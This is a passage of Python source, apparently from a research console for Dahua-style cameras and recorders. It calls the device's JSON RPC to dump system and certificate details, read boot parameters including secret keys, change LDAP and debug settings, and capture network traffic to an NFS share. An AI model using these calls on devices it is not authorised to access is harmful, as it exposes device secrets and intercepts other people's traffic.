dh_data.get('params').get('pub').split(\",\")\n            log.success(\n                \"\\033[92m[\\033[91mEncrypt Info\\033[92m]\\033[0m\\nAsymmetric:\"\n                \" {}, Cipher: {}, Padding: {}, RSA Exp.: {}\\nRSA Modulus:\\n{}\".format(\n                    dh_data.get('params').get('asymmetric'),\n                    '; '.join(dh_data.get('params').get('cipher', [\"(null)\"])),\n                    '; '.join(dh_data.get('params').get('AESPadding', [\"(null)\"])),\n                    pub[1].split(\":\")[1],\n                    pub[0].split(\":\")[1],\n                ))\n            pubkey = RSA.construct((int(pub[0].split(\":\")[1], 16), int(pub[1].split(\":\")[1], 16)))\n            print(pubkey.exportKey().decode('ascii'))\n\n    def get_remote_info(self, msg):\n\n        cmd = msg.split()\n\n        if cmd[0] == 'device':\n\n            query_args = {\n                \"method\": \"magicBox.getSoftwareVersion\",\n                \"params\": None,\n            }\n            self.send_call(query_args, multicall=True)\n\n            query_args = {\n                \"method\": \"magicBox.getProductDefinition\",\n                \"params\": None,\n            }\n\n            self.send_call(query_args, multicall=True)\n\n            query_args = {\n                \"method\": \"magicBox.getSystemInfo\",\n                \"params\": None,\n            }\n\n            self.send_call(query_args, multicall=True)\n\n            query_args = {\n                \"method\": \"magicBox.getMemoryInfo\",\n                \"params\": None,\n            }\n\n            dh_data = self.send_call(query_args, multicall=True, multicallsend=True)\n            if not dh_data:\n                return\n\n            if dh_data.get(\n                    'magicBox.getSoftwareVersion').get('result') and dh_data.get(\n                    'magicBox.getProductDefinition').get('result'):\n                tmp = dh_data.get('magicBox.getProductDefinition').get('params').get('definition')\n\n                log.success(\n                    \"\\033[92m[\\033[91mSystem\\033[92m]\\033[0m\\nVendor: {}, Build: {}, Version: {}\\n\"\n                    \"Device: {}, Web: {}, OEM: {}\\nPackage: {}\".format(\n                        tmp.get('Vendor', '(null)'),\n                        tmp.get('BuildDateTime', '(null)'),\n                        dh_data.get(\n                            'magicBox.getSoftwareVersion').get('params').get('version').get('Version', '(null)'),\n                        tmp.get('Device', '(null)'),\n                        tmp.get('WebVersion', '(null)'),\n                        tmp.get('OEMVersion', '(null)'),\n                        tmp.get('PackageBaseName', '(null)')\n                        if tmp.get('PackageBaseName')\n                        else tmp.get('ProductName', '(null)'),\n                    ))\n\n            if dh_data.get('magicBox.getSystemInfo').get('result'):\n                tmp = dh_data.get('magicBox.getSystemInfo').get('params')\n                log.success(\"\\033[92m[\\033[91mDevice\\033[92m]\\033[0m\\nType: {}, CPU: {}, HW ver: {}, S/N: {}\".format(\n                    tmp.get('deviceType', '(null)'),\n                    tmp.get('processor', '(null)'),\n                    tmp.get('hardwareVersion', '(null)'),\n                    tmp.get('serialNumber', '(null)'),\n                ))\n\n            if dh_data.get('magicBox.getMemoryInfo').get('result'):\n                tmp = dh_data.get('magicBox.getMemoryInfo').get('params')\n                log.success(\"\\033[92m[\\033[91mMemory\\033[92m]\\033[0m\\nTotal: {}, Free: {}\".format(\n                    size(tmp.get('total', 0)),\n                    size(tmp.get('free', 0))\n                ))\n            self.dev_storage()\n            self.get_encrypt_info()\n\n        elif cmd[0] == 'certificate':\n            query_args = {\n                \"method\": \"CertManager.exportRootCert\",\n                \"params\": None,\n            }\n\n            self.send_call(query_args, multicall=True)\n\n            query_args = {\n                \"method\": \"CertManager.getSvrCertInfo\",\n                \"params\": None,\n            }\n\n            dh_data = self.send_call(query_args, multicall=True, multicallsend=True)\n            if not dh_data:\n                return\n\n            if dh_data.get('CertManager.exportRootCert').get('result'):\n                ca_cert = base64.decodebytes(\n                    dh_data.get('CertManager.exportRootCert').get('params').get('cert').encode('latin-1')\n                )\n                x509 = crypto.load_certificate(crypto.FILETYPE_PEM, ca_cert)\n                # issuer = x509.get_issuer()\n                # subject = x509.get_subject()\n\n                log.success(\n                    \"\\033[92m[\\033[91mRoot Certificate\\033[92m]\\033[0m\\n\"\n                    \"\\033[92m[\\033[91mIssuer\\033[92m]\\033[0m\\n\"\n                    \"{}\\n\"\n                    \"\\033[92m[\\033[91mSubject\\033[92m]\\033[0m\\n\"\n                    \"{}\\n\"\n                    \"{}\".format(\n                        str(x509.get_issuer()).split(\"'\")[1],\n                        str(x509.get_subject()).split(\"'\")[1],\n                        ca_cert.decode('latin-1'),\n                    ))\n\n                log.success(\n                    \"\\033[92m[\\033[91mPublic Key\\033[92m]\\033[0m\\n\"\n                    \"{}\".format(crypto.dump_publickey(crypto.FILETYPE_PEM, x509.get_pubkey()).decode('latin-1')))\n                print('{:X}'.format(x509.get_pubkey().to_cryptography_key().public_numbers().n))\n            else:\n                log.failure(\n                    \"\\033[92m[\\033[91mRoot Certificate\\033[92m]\\033[0m\\n{}\".format(\n                        color(dh_data.get('CertManager.exportRootCert').get('error'), LRED)))\n                return False\n\n            if dh_data.get('CertManager.getSvrCertInfo').get('result'):\n                log.success(\"\\033[92m[\\033[91mServer Certificate\\033[92m]\\033[0m\\n{}\".format(\n                    json.dumps(dh_data.get('CertManager.getSvrCertInfo'), indent=4),\n                ))\n\n        elif cmd[0] == 'dhp2p':\n\n            query_args = {\n                \"method\": \"Nat.getTurnStatus\",\n                \"params\": None,\n            }\n            self.send_call(query_args, multicall=True)\n\n            query_args = {\n                \"method\": \"magicBox.getSystemInfo\",\n                \"params\": None,\n            }\n\n            self.send_call(query_args, multicall=True)\n\n            query_args = {\n                \"method\": \"configManager.getConfig\",\n                \"params\": {\n                    \"name\": \"_DHCloudUpgrade_\",\n                },\n            }\n            self.send_call(query_args, multicall=True)\n\n            query_args = {\n                \"method\": \"configManager.getConfig\",\n                \"params\": {\n                    \"name\": \"_DHCloudUpgradeRecord_\",\n                },\n            }\n            dh_data = self.send_call(query_args, multicall=True, multicallsend=True)\n            if not dh_data:\n                return\n\n            if dh_data.get('Nat.getTurnStatus').get('result'):\n                tmp = dh_data.get('Nat.getTurnStatus').get('params').get('Status')\n                log.success(\"\\033[92m[\\033[91mDH DMSS P2P\\033[92m]\\033[0m\\nEnable: {}, Status: {}, Detail: {}\".format(\n                    tmp.get('IsTurnChannel', '(null)'),\n                    tmp.get('Status', '(null)'),\n                    tmp.get('Detail', '(null)'),\n                ))\n\n            if dh_data.get('_DHCloudUpgradeRecord_').get('result') or dh_data.get('_DHCloudUpgrade_').get('result'):\n\n                tmp = dh_data.get('_DHCloudUpgradeRecord_').get('params').get('table')\n                tmp2 = dh_data.get('_DHCloudUpgrade_').get('params').get('table')\n                log.success(\n                    \"\\033[92m[\\033[91mDH Cloud Firmware Upgrade\\033[92m]\\033[0m\\n\"\n                    \"Address: {}, Port: {}, ProxyAddr: {}, ProxyPort: {}\\n\"\n                    \"AutoCheck: {}, CheckInterval: {}, Upgrade: {}, downloadState: {}\\n\"\n                    \"LastVersion: {},\\nLastSubVersion: {}\\npackageId: {}\".format(\n                        tmp2.get('Address'),\n                        tmp2.get('Port'),\n                        tmp.get('ProxyAddr'),\n                        tmp.get('ProxyPort'),\n                        bool(tmp.get('AutoCheck')),\n                        tmp.get('CheckInterval'),\n                        bool(tmp.get('Upgrade')),\n                        bool(tmp.get('downloadState')),\n                        tmp.get('LastVersion'),\n                        tmp.get('LastSubVersion'),\n                        tmp.get('packageId'),\n                    ))\n\n            if dh_data.get('magicBox.getSystemInfo').get('result'):\n                tmp = dh_data.get('magicBox.getSystemInfo').get('params')\n                log.success(\n                    \"\\033[92m[\\033[91mDH Cloud Firmware ID\\033[92m]\\033[0m\\n\"\n                    \"Upgrade S/N: {}\\n\"\n                    \"Update S/N: {}\".format(\n                        tmp.get('updateSerialCloudUpgrade', '(null)'),\n                        tmp.get('updateSerial', '(null)')\n                    )\n                )\n\n    def delete_config(self, msg):\n        cmd = msg.split()\n        if len(cmd) != 2:\n            log.info('{}'.format(help_all(msg=msg, usage='delete-config member')))\n\n        key = cmd[1]\n        method_name = 'configManager'\n        self.instance_service(method_name, start=True)\n        object_id = self.instance_service(method_name, pull='object')\n        query_args = {\n            \"method\": \"configManager.deleteConfig\",\n            \"params\": {\n                \"name\": key,\n            },\n            \"object\": object_id,\n        }\n        log.info(f\"Deleting member {key}\")\n        dh_data = self.send_call(query_args)\n        if not dh_data:\n            return\n        print(json.dumps(dh_data, indent=4))\n\n    def new_config(self, msg):\n        \"\"\"\n        PoC for new non-existing configuration\n        (instance_service() not really needed here, more as FYI for future)\n        \"\"\"\n\n        cmd = msg.split()\n\n        usage = {\n            \"show\": \"(Show config in script)\",\n            \"set\": \"(Set config in device)\",\n            \"get\": \"(Get config from device)\",\n            \"del\": \"(Delete config in device)\",\n        }\n        if len(cmd) == 1 or len(cmd) == 2 and cmd[1] == '-h':\n            log.info('{}'.format(help_all(msg=msg, usage=usage)))\n            return True\n\n        method_name = 'configManager'\n        self.instance_service(method_name, start=True)\n        object_id = self.instance_service(method_name, pull='object')\n\n        if cmd[1] == 'set' or cmd[1] == 'show':\n            query_args = {\n                \"method\": \"configManager.setConfig\",\n                \"params\": {\n                    \"table\": {\n                        \"Config\": 31337,\n                        \"Enable\": False,\n                        \"Description\": \"Just simple PoC\",\n                    },\n                    \"name\": \"Config_31337\",\n                },\n                \"object\": object_id,\n            }\n            if cmd[1] == 'show':\n                print(json.dumps(query_args, indent=4))\n                return\n\n            log.info(\"query: {} \".format(query_args))\n\n            dh_data = self.send_call(query_args)\n            if not dh_data:\n                return\n            print(json.dumps(dh_data, indent=4))\n\n        elif cmd[1] == 'get':\n            query_args = {\n                \"method\": \"configManager.getConfig\",\n                \"params\": {\n                    \"name\": \"Config_31337\",\n                },\n                \"object\": object_id,\n            }\n\n            log.info(\"query: {} \".format(query_args))\n\n            dh_data = self.send_call(query_args)\n            if not dh_data:\n                return\n\n            print(json.dumps(dh_data, indent=4))\n\n        elif cmd[1] == 'del':\n            query_args = {\n                \"method\": \"configManager.deleteConfig\",\n                \"params\": {\n                    \"name\": \"Config_31337\",\n                },\n                \"object\": object_id,\n            }\n\n            log.info(\"query: {} \".format(query_args))\n\n            dh_data = self.send_call(query_args)\n            if not dh_data:\n                return\n\n            print(json.dumps(dh_data, indent=4))\n\n        else:\n            log.info('{}'.format(help_all(msg=msg, usage=usage)))\n            return True\n\n        self.instance_service(method_name, stop=True)\n\n        return\n\n    def set_ldap(self):\n        \"\"\" LDAP test, seems not to be connecting \"\"\"\n\n        method_name = 'configManager'\n\n        self.instance_service(method_name, start=True)\n        object_id = self.instance_service(method_name, pull='object')\n        if not object_id:\n            return False\n\n        # https://www.forumsys.com/tutorials/integration-how-to/ldap/online-ldap-test-server/\n        # ldapsearch -h ldap.forumsys.com -w password -D \"uid=tesla,dc=example,dc=com\" -b \"dc=example,dc=com\"\n        query_args = {\n            \"method\": \"configManager.setConfig\",\n            \"params\": {\n                \"name\": \"LDAP\",\n                \"table\": [\n                    {\n                        \"AnonymousBind\": False,\n                        \"BaseDN\": \"ou=scientists,dc=example,dc=com\",\n                        \"BindDN\": \"uid=tesla,ou=scientists,dc=example,dc=com\",\n                        \"BindPassword\": \"password\",\n                        \"Enable\": True,\n                        \"Filter\": \"\",\n                        \"Port\": 389,\n                        \"Server\": \"192.168.5.11\",\n                        # \"Server\": \"ldap.forumsys.com\",\n                    }\n                ],\n            },\n            \"object\": object_id,\n        }\n\n        dh_data = self.send_call(query_args)\n        print('LDAP', dh_data)\n        if not dh_data:\n            return False\n\n        self.instance_service(method_name, stop=True)\n\n        return True\n\n    def set_debug(self):\n\n        # cmd = msg.split()\n\n        method_name = 'configManager'\n\n        self.instance_service(method_name, start=True)\n        object_id = self.instance_service(method_name, pull='object')\n        if not object_id:\n            return False\n\n        query_args = {\n            \"method\": \"configManager.setConfig\",\n            \"params\": {\n                \"name\": \"Debug\",\n                \"table\": {\n                    \"PrintLogLevel\": 0,\n                    # \"enable\":True,\n                },\n            },\n            \"object\": object_id,\n        }\n\n        dh_data = self.send_call(query_args)\n        if not dh_data:\n            return False\n\n        log.success(\"PrintLogLevel 0: {}\".format(dh_data.get('result')))\n\n        query_args = {\n            \"method\": \"configManager.setConfig\",\n            \"params\": {\n                \"name\": \"Debug\",\n                \"table\": {\n                    \"PrintLogLevel\": 6,\n                    # \"enable\":True,\n                },\n            },\n            \"object\": object_id,\n        }\n\n        dh_data = self.send_call(query_args)\n        if not dh_data:\n            return False\n\n        log.success(\"PrintLogLevel 6: {}\".format(dh_data.get('result')))\n\n        self.instance_service(method_name, stop=True)\n\n        return True\n\n    def u_boot(self, msg):\n\n        cmd = msg.split()\n\n        usage = {\n            \"printenv\": \"(Get all possible env config)\",\n            \"setenv\": \"<variable> <value> (not working)\",\n            \"getenv\": \"<variable>\"\n        }\n        if len(cmd) == 1:\n            log.info('{}'.format(help_all(msg=msg, usage=usage)))\n            return True\n\n        method_name = 'magicBox'\n\n        self.instance_service(method_name, start=True)\n        object_id = self.instance_service(method_name, pull='object')\n        if not object_id:\n            return False\n\n        if cmd[1] == 'setenv':\n            if not len(cmd) == 4:\n                log.info('{}'.format(help_all(msg=msg, usage=usage)))\n                return True\n\n            query_args = {\n                \"method\": \"magicBox.setEnv\",\n                \"params\": {\n                    \"name\": cmd[2],\n                    \"value\": cmd[3],\n                    # \"name\":\"loglevel\",\n                    # \"value\":\"5\",\n                },\n                \"object\": object_id,\n            }\n\n        #\n        # Here we looking for the most common U-Boot enviroment variables, if you miss any, add it to the list here.\n        #\n        elif cmd[1] == 'printenv':  # OK: IPC/VTH/VTO, NOT: NVR\n\n            query_args = {\n                \"method\": \"magicBox.getBootParameter\",\n                \"params\": {\n                    \"names\": [\n                        \"algorithm\",\n                        \"appauto\",\n                        \"AUTHCODE\",\n                        \"authcode\",\n                        \"AUTHKEY\",\n                        \"autogw\",\n                        \"autolip\",\n                        \"autoload\",\n                        \"autonm\",\n                        \"autosip\",\n                        \"baudrate\",\n                        \"bootargs\",\n                        \"bootcmd\",\n                        \"bootdelay\",\n                        \"bootfile\",\n                        \"BSN\",\n                        \"coremnt\",\n                        \"COUNTRYCODE\",\n                        \"da\",\n                        \"da0\",\n                        \"dc\",\n                        \"debug\",\n                        \"devalias\",\n                        \"DeviceID\",\n                        \"deviceid\",\n                        \"DeviceSecret\",\n                        \"DEVID\",\n                        \"devname\",\n                        \"devOEM\",\n                        \"dh_keyboard\",\n                        \"dk\",\n                        \"dl\",\n                        \"dp\",\n                        \"dr\",\n                        \"DspMem\",\n                        \"du\",\n                        \"dvname\",\n                        \"dw\",\n                        \"encrypbackup\",\n                        \"eth1addr\",\n                        \"ethact\",\n                        \"ethaddr\",\n                        \"ext1\",\n                        \"ext2\",\n                        \"ext3\",\n                        \"ext4\",\n                        \"ext5\",\n                        \"fd\",\n                        \"fdtaddr\",\n                        \"fileaddr\",\n                        \"filesize\",\n                        \"gatewayip\",\n                        \"HWID\",\n                        \"hwidEx\",\n                        \"HWMEM\",\n                        \"hxapppwd\",\n                        \"icrtest\",\n                        \"icrtype\",\n                        \"ID\",\n                        \"intelli\",\n                        \"ipaddr\",\n                        \"key\",\n                        \"licence\",\n                        \"loglevel\",\n                        \"logserver\",\n                        \"MarketArea\",\n                        \"mcuDebug\",\n                        \"mcuHWID\",\n                        \"mdcmdline\",\n                        \"Mem512M\",\n                        \"mmc_root\",\n                        \"mp_autotest\",\n                        \"nand_root\",\n                        \"netmask\",\n                        \"netretry\",\n                        \"OEI\",\n                        \"partitions\",\n                        \"PartitionVer\",\n                        \"peripheral\",\n                        \"productDate\",\n                        \"ProductKey\",\n                        \"ProductSecret\",\n                        \"quickstart\",\n                        \"randomcode\",\n                        \"restore\",\n                        \"SC\",\n                        \"ser_debug\",\n                        \"serverip\",\n                        \"setargs_mmc\",\n                        \"setargs_nand\",\n                        \"setargs_spinor\",\n                        \"SHWID\",\n                        \"Speripheral\",\n                        \"spinand_root\",\n                        \"spinor_root\",\n                        \"stderr\",\n                        \"stdin\",\n                        \"stdout\",\n                        \"sysbackup\",\n                        \"SysMem\",\n                        \"tftptimeout\",\n                        \"tk\",\n                        \"TracingCode\",\n                        \"tracode\",\n                        \"uid\",\n                        \"up\",\n                        \"updatetimeout\",\n                        \"UUID\",\n                        \"vendor\",\n                        \"ver\",\n                        \"Verif_Code\",\n                        \"verify\",\n                        \"videodebug\",\n                        \"watchdog\",\n                        \"wifiaddr\",\n                        \"COUNTRYCODE\",\n\n                        \"HWID_ORG\",  # MCW\n                    ],\n                },\n                \"object\": object_id,\n            }\n\n        elif cmd[1] == 'getenv':\n            if not len(cmd) == 3:\n                log.info('{}'.format(help_all(msg=msg, usage=usage)))\n                return True\n            # method = \"magicBox.getEnv\"  # should be\n            method = \"magicBox.getBootParameter\"  # working too\n            query_args = {\n                \"method\": method,\n                \"params\": {\n                    \"names\": [cmd[2]],  # needed for magicBox.getBootParameter\n                    # \"name\": cmd[2],  # needed for magicBox.getEnv\n                },\n                \"object\": object_id,\n            }\n        else:\n            log.info('{}'.format(help_all(msg=msg, usage=usage)))\n            return True\n\n        dh_data = self.send_call(query_args, errorcodes=True)\n        if not dh_data:\n            return False\n        if dh_data.get('result'):\n            print(json.dumps(dh_data, indent=4))\n        elif not dh_data.get('result'):\n            log.failure('Error: {}'.format(dh_data.get('error')))\n\n        self.instance_service(method_name, stop=True)\n\n        return\n\n    #\n    # tcpdump network capture from remote device\n    #\n    def network_sniffer_manager(self, msg):\n\n        cmd = msg.split()\n\n        usage = {\n            \"start\": {\n                \"<nic> <path>\": \"[Wireshark capture filter syntax]\"\n            },\n            \"stop\": \"(stop remote pcap)\",\n            \"info\": \"(info about remote pcap)\"\n        }\n        if len(cmd) == 1 or cmd[1] == 'start' and not len(cmd) >= 4 or cmd[1] == '-h':\n            log.info('{}'.format(help_all(msg=msg, usage=usage)))\n            return True\n\n        method_name = 'NetworkSnifferManager'\n        if not self.instance_service(method_name, pull='object'):\n            self.instance_service(method_name, start=True)\n        object_id = self.instance_service(method_name, pull='object')\n        if not object_id:\n            return False\n\n        self.dh_sniffer_nic = 'eth0'\n\n        # dh_sniffer_nic = \"eth0\"\n        # dh_sniffer_path = \"/nfs\"\n        # dh_sniffer_filter = \"\"\n        # dh_sniffer_filter = \\\n        # \"not host 192.168.57.20 and not host 192.168.57.7 and not host 192.168.57.167 and not host 192.168.57.27\"\n\n        if cmd[1] == 'start':\n\n            if not self.interim_remote_diagnose(\"diag nfs status\"):\n                log.failure(\"NFS must be mounted with: diag nfs mount\")\n                return False\n\n            self.dh_sniffer_nic = cmd[2]\n            dh_sniffer_path = cmd[3]\n            dh_sniffer_filter = ''\n            if len(cmd) > 3:\n                dh_sniffer_filter = ' '.join(cmd[4:])\n\n            query_args = {\n                \"method\": \"NetworkSnifferManager.start\",\n                \"params\": {\n                    \"networkCard\": self.dh_sniffer_nic,\n                    \"path\": dh_sniffer_path,\n                    \"saveType\": \"Wireshark/Tcpdump\",\n                    \"filter\": dh_sniffer_filter,\n                },\n                \"object\": object_id,\n            }\n\n            dh_data = self.send_call(query_args)\n            if not dh_data:\n                log.failure(color(\"{}: {}\".format(query_args.get('method'), dh_data), LRED))\n                return False\n            # print(json.dumps(dh_data,indent=4))\n\n            if not dh_data.get('result'):\n                log.failure(color(\"{}: {}\".format(query_args.get('method'), dh_data), LRED))\n                self.instance_service(method_name, stop=True)\n                return False\n\n            self.networkSnifferID = dh_data.get('params').get('networkSnifferID')\n            log.info(\"({}) Start: ID: {}, NIC: {}, Path: {}, Filter: {}\".format(\n                cmd[0],\n                self.networkSnifferID,\n                query_args.get('params').get('networkCard'),\n                query_args.get('params').get('path'),\n                query_args.get('params').get('filter'),\n            ))\n\n        elif cmd[1] == 'info':\n\n            query_args = {\n                \"method\": \"NetworkSnifferManager.getSnifferInfo\",\n                \"params\": {\n                    \"condition\": {\n                        \"NetworkCard\": self.dh_sniffer_nic,\n                    },\n                },\n                \"object\": object_id,\n            }\n\n            dh_data = self.send_call(query_args)\n            if not dh_data:\n                log.failure(color(\"{}: {}\".format(query_args.get('method'), dh_data), LRED))\n                return False\n\n            if not dh_data.get('result'):\n                log.failure(color(\"{}: {}\".format(query_args.get('method'), dh_data), LRED))\n                self.instance_service(method_name, stop=True)\n                return False\n\n            sniffer_infos = dh_data.get('params').get('snifferInfos')\n            if not len(sniffer_infos):\n                log.info(\"No remote pcap running\")\n                return False\n\n            self.networkSnifferID = sniffer_infos[0].get('NetworkSnifferID')\n            self.networkSnifferPath = sniffer_infos[1].get('Path')\n            log.info(\"({}) Info: ID: {}, Path: {}\".format(cmd[0], self.networkSnifferID, self.networkSnifferPath))\n\n            return True\n\n        elif cmd[1] == 'stop':\n\n            if not self.network_sniffer_manager(\"pcap info\"):\n                return False\n\n            query_args = {\n                \"method\": \"NetworkSnifferManager.stop\",\n                \"params\": {\n                    \"networkSnifferID\": self.networkSnifferID,\n                },\n                \"object\": object_id,\n            }\n\n            dh_data = self.send_call(query_args)\n            if not dh_data:\n                log.failure(color(\"{}: {}\".format(query_args.get('method'), dh_data), LRED))\n                return False\n\n            if not dh_data.get('result'):\n                log.failure(color(\"{}: {}\".format(query_args.get('method'), dh_data), LRED))\n                self.instance_service(method_name, stop=True)\n                return False\n\n            self.instance_service(method_name, stop=True)\n            log.info(\"({}) Stopped: ID: {}, Path: {}\".format(cmd[0], self.networkSnifferID, self.networkSnifferPath))\n\n        else:\n            log.info('{}'.format(help_all(msg=msg, usage=usage)))\n\n        return\n\n    #\n    # Debug of remote device\n    #\n    def interim_remote_diagnose(self, msg):\n\n        cmd = msg.split()\n\n        usage = {\n            \"nfs\": {\n                \"status\": \"(Check if NFS mounted)\",\n                \"mount\": \"[<server host> /<server path>]\",\n                \"umount\": \"(Umount NFS)\",\n            },\n            \"usb\": {\n                \"get\": \"(Not done yet)\",\n                \"set\": \"(Not done yet)\",\n            },\n            \"pcap\": {\n                \"start\": \"(Start capture)\",\n                \"stop\": \"(Stop capture)\",\n                \"filter\": \"<get> | <set> <lo|eth0|eth2> <host>\",\n            },\n            \"coredump\": {\n                \"start\": \"(Start coredump support)\",\n                \"stop\": \"(Stop coredump support)\",\n            },\n            \"logs\": {\n                \"start\": \"(Start redirect logs to NFS)\",\n                \"stop\": \"(Stop redirect logs to NFS)\",\n            }\n        }\n        if len(cmd) < 2 or len(cmd) == 3 and cmd[1] == '-h':\n            log.info('{}'.format(help_all(msg=msg, usage=usage)))\n            return True\n\n        if not self.check_for_service('InterimRemoteDiagnose'):\n            return False\n\n        if cmd[1] == 'nfs':\n\n            if not len(cmd) >= 3:\n                log.info('{}'.format(help_all(msg=msg, usage=usage)))\n                return True\n\n            if cmd[2] == 'status':\n\n                query_args = {\n                    \"method\": \"InterimRemoteDiagnose.getConfig\",\n                    \"params\": {\n                        \"name\": \"InterimRDNfs\",\n                    },\n                }\n                dh_data = self.send_call(query_args)\n                if dh_data:\n                    dh_data = dh_data.get('params').get('DebugConfig')\n                    log.info(\n                        \"NFS Directory: {}, Serverip: {}, Enable: {}\".format(\n                            dh_data.get('Directory'), dh_data.get('Serverip'), dh_data.get('Enable'))\n                    )\n\n                # {\"result\":true,\"params\":{\"conn\":true},\"session\":2103981993,\"id\":4}\n                # {\"result\":true,\"params\":{\"conn\":false},\"session\":2103981993,\"id\":4}\n                query_args = {\n                    \"method\": \"InterimRemoteDiagnose.testNfsStatus\",\n                    \"params\": {\n                    },\n                }\n                dh_data = self.send_call(query_args)\n                if dh_data:\n                    log.info(\"NFS connected: {}\".format(dh_data.get('params').get('conn')))\n                    return dh_data.get('params').get('conn')\n\n                log.failure('NFS status')\n                return False\n\n            elif cmd[2] == 'mount' or cmd[2] == 'umount':\n\n                if len(cmd) >= 4:\n                    if not check_ip(cmd[3]):\n                        log.failure('\"{}\" is not valid host'.format(cmd[3]))\n                        return False\n                    if len(cmd) == 5 and not cmd[4][0] == '/':\n                        log.failure('path must start with \"/\"'.format(cmd[4]))\n                        return False\n\n                query_args = {\n                    \"method\": \"InterimRemoteDiagnose.getConfig\",\n                    \"params\": {\n                        \"name\": \"InterimRDNfs\",\n                    },\n                }\n                dh_data = self.send_call(query_args)\n                if not dh_data:\n                    return False\n                debug_config = dh_data.get('params').get('DebugConfig')\n\n                debug_config['Enable'] = True if cmd[2] == 'mount' else False\n                debug_config.update({\"Serverip\": cmd[3] if len(cmd) >= 4 else debug_config.get('Serverip')})\n                debug_config.update({\"Directory\": cmd[4] if len(cmd) == 5 else debug_config.get('Directory')})\n\n                query_args = {\n                    \"method\": \"InterimRemoteDiagnose.setConfig\",\n                    \"params\": {\n                        \"name\": \"InterimRDNfs\",\n                        \"DebugConfig\": {\n                            # Default config\n                            # \"Directory\":\"/c/public_dev\",\n                            # \"Enable\":False,\n                            # \"Serverip\":\"10.33.12.137\"\n                        },\n                    },\n                }\n                query_args.get('params').get('DebugConfig').update(debug_config)\n\n                dh_data = self.send_call(query_args)\n                if not dh_data:\n                    return False\n                log.info(\"NFS {}: {}\".format('mount' if cmd[2] == 'mount' else 'umount', dh_data.get('result')))\n                return True\n            else:\n                log.info('{}'.format(help_all(msg=msg, usage=usage)))\n                return True\n\n        elif cmd[1] == 'usb':\n\n            if not len(cmd) == 3:\n                log.info('{}'.format(help_all(msg=msg, usage=usage)))\n                return True\n\n            if cmd[2] == 'get':\n\n                # {\"result\":true,\"params\":{\"UStoragePosition\":['/dev/sdb1', '/dev/sdc1']},\"session\":1217107065,\"id\":4}\n                # {\"result\":true,\"params\":{\"UStoragePosition\":null},\"session\":1413317462,\"id\":4}\n                query_args = {\n                    \"method\": \"InterimRemoteDiagnose.getUStoragePosition\",\n                    \"params\": {\n                    },\n                }\n                dh_data = self.send_call(query_args)\n                if not dh_data:\n                    return False\n                log.info(\n                    \"USB Storage: {}\".format(\n                        dh_data.get('params').get('UStoragePosition')\n                        if dh_data.get('params').get('UStoragePosition') else \"Not found\")\n                )\n                return True\n            elif cmd[2] == 'set':\n                # error: {'code': 268959743, 'message': 'Unknown error! error code was not set in service!'}\n                query_args = {\n                    \"method\": \"InterimRemoteDiagnose.setUStoragePosition\",\n                    \"params\": {\n                        \"UStoragePosition\": \"/dev/sdb1\",\n                    },\n                }\n                dh_data = self.send_call(query_args)\n                if not dh_data:\n                    return False\n                log.info(\"USB Storage: {}\".format(dh_data))\n                return True\n            else:\n                log.info('{}'.format(help_all(msg=msg, usage=usage)))\n                return False\n\n        elif cmd[1] == 'pcap':\n\n            if not len(cmd) >= 3:\n                log.info('{}'.format(help_all(msg=msg, usage=usage)))\n                return True\n\n            if cmd[2] == 'filter':\n                if not len(cmd) >= 4:\n                    log.info('{}'.format(help_all(msg=msg, usage=usage)))\n                    return False\n\n                if cmd[3] == 'get':\n                    query_args = {\n                        \"method\": \"InterimRemoteDiagnose.getConfig\",\n                        \"params\": {\n                            \"name\": \"InterimRDNetFilter\",\n                        },\n                    }\n                    dh_data = self.send_call(query_args)\n                    if not dh_data:\n                        return False\n                    log.info(\"PCAP Filter: {}\".format(dh_data.get('params').get('debug_config')))\n                    return True\n\n                elif cmd[3] == 'set':\n\n                    #\n                    # Might be more dh_data in the future, read and update only what we know\n                    # Leave possible other untouched\n                    #\n\n                    query_args = {\n                        \"method\": \"InterimRemoteDiagnose.getConfig\",\n                        \"params\": {\n                            \"name\": \"InterimRDNetFilter\",\n                        },\n                    }\n                    dh_data = self.send_call(query_args)\n                    if not dh_data:\n                        return False\n\n                    pcap_iface = 'eth0'\n                    pcap_filter_ip = ''\n\n                    # Default\n                    # Name = 'eth0'\n                    # FilterIP = '10.33.12.137'\n                    # FilterPort = '37777'\n\n                    debug_config = dh_data.get('params').get('DebugConfig')\n                    debug_config.update({\"FilterIP\": pcap_filter_ip})\n                    # debug_config.update({\"FilterPort\":FilterPort})\t# Cannot be changed from 37777\n                    debug_config.update({\"Name\": pcap_iface})\n\n                    query_args = {\n                        \"method\": \"InterimRemoteDiagnose.setConfig\",\n                        \"params\": {\n                            \"name\": \"InterimRDNetFilter\",\n                            \"DebugConfig\": debug_config,\n                        },\n                    }\n                    dh_data = self.send_call(query_args)\n                    if not dh_data:\n                        return False\n                    log.info(\"PCAP Filter: {}\".format(debug_config))\n                    return True\n\n            elif cmd[2] == 'start':\n\n                if not self.interim_remote_diagnose(\"diag nfs status\"):\n                    log.failure(\"NFS must be mounted with: diag nfs mount\")\n                    return False\n\n                query_args = {\n                    \"method\": \"InterimRemoteDiagnose.getConfig\",\n                    \"params\": {\n                        \"name\": \"InterimRDNetFilter\",\n                    },\n                }\n                dh_data = self.send_call(query_args)\n                if not dh_data:\n                    return False\n\n                log.info(\"PCAP Filter: {}\".format(dh_data.get('params').get('debug_config')))\n\n                query_args = {\n                    # {\"result\":true,\"params\":null,\"session\":336559066,\"id\":4}\n                    \"method\": \"InterimRemoteDiagnose.startRemoteCapture\",\n                    \"params\": {\n                    },\n                }\n                dh_data = self.send_call(query_args)\n                if not dh_data:\n                    return False\n                log.info(\"PCAP Start: {}\".format(dh_data.get('result')))\n                return True\n\n            elif cmd[2] == 'stop':\n                query_args = {\n                    # {\"result\":true,\"params\":null,\"session\":468902923,\"id\":4}\n                    \"method\": \"InterimRemoteDiagnose.stopRemoteCapture\",\n                    \"params\": {\n                    },\n                }\n                dh_data = self.send_call(query_args)\n                if not dh_data:\n                    return False\n                log.info(\"PCAP Stop: {}\".format(dh_data.get('result')))\n                return True\n            else:\n                log.info('{}'.format(help_all(msg=msg, usage=usage)))\n                return True\n\n        elif cmd[1] == 'coredump':\n\n            if not self.args.force:\n                log.failure(\"({}) will reboot NVR (force with -f)\".format(cmd[1]))\n                return False\n\n            if not len(cmd) >= 3:\n                log.info('{}'.format(help_all(msg=msg, usage=usage)))\n                return True\n\n            if cmd[2] == 'start' or cmd[2] == 'stop':\n\n                query_args = {\n                    \"method\": \"InterimRemoteDiagnose.setConfig\",\n                    \"params\": {\n                        \"name\": \"InterimRDCoreDump\",\n                        \"DebugConfig\": {\n                            